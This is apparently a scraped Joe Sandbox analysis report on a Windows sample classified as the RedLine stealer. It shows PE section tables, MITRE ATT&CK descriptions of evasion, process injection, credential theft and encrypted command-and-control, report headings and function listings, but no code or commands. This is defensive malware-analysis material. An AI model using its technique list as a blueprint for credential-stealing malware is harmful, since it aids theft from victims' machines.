.rdata	0x12a000	0x15020	0x15200	False	0.4818671412721893	data	5.616708557646371	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.eh_fram	0x140000	0x3cd10	0x3ce00	False	0.19922276052361396	data	4.822991204993627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x17d000	0xf00	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x17e000	0xbf8	0xc00	False	0.4091796875	data	5.205935616438137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x17f000	0x34	0x200	False	0.07421875	Matlab v4 mat-file (little endian) \360wC, numeric, rows 4198672, columns 0	0.27892677800628285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x180000	0x8	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.*vT	0x181000	0x8c0	0xa00	False	0.856640625	data	7.280453332026501	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17e000	0xbf8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x138a78	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17e210	0x1d4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report w5OsHBiADi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Statistics

Windows Analysis Report
w5OsHBiADi.exe

Function 0040115C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Function 00405B5F Relevance: 4.9, Strings: 1, Instructions: 3649
COMMONCrypto

Function 0042F510 Relevance: 1.7, APIs: 1, Instructions: 442
COMMON

Function 00448B90 Relevance: 1.4, APIs: 1, Instructions: 116
COMMON

Function 00401734 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 306
memoryCOMMON

Function 0040235C Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 299
COMMON

Function 00402B30 Relevance: 3.1, APIs: 2, Instructions: 59
threadCOMMON

Function 00448D60 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 004C1230 Relevance: 1.3, APIs: 1, Instructions: 31
stringCOMMON

Function 00438E80 Relevance: 22.8, APIs: 15, Instructions: 333
COMMONCrypto

Function 0043BBA0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 538
COMMONCrypto

Function 00437020 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 344
stringCOMMONCrypto

Function 004396E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 403
stringCOMMONCrypto

Function 0045ED30 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 834
COMMONCrypto

Function 0045E020 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 833
COMMONCrypto

Function 004609D0 Relevance: 2.1, Strings: 1, Instructions: 859
COMMONCrypto

Function 0045FC90 Relevance: 2.1, Strings: 1, Instructions: 859
COMMONCrypto

Function 004673E0 Relevance: 2.0, APIs: 1, Instructions: 732
COMMONCrypto

Function 00467EE0 Relevance: 2.0, APIs: 1, Instructions: 715
COMMONCrypto

Function 004669B0 Relevance: 1.9, APIs: 1, Instructions: 667
COMMONCrypto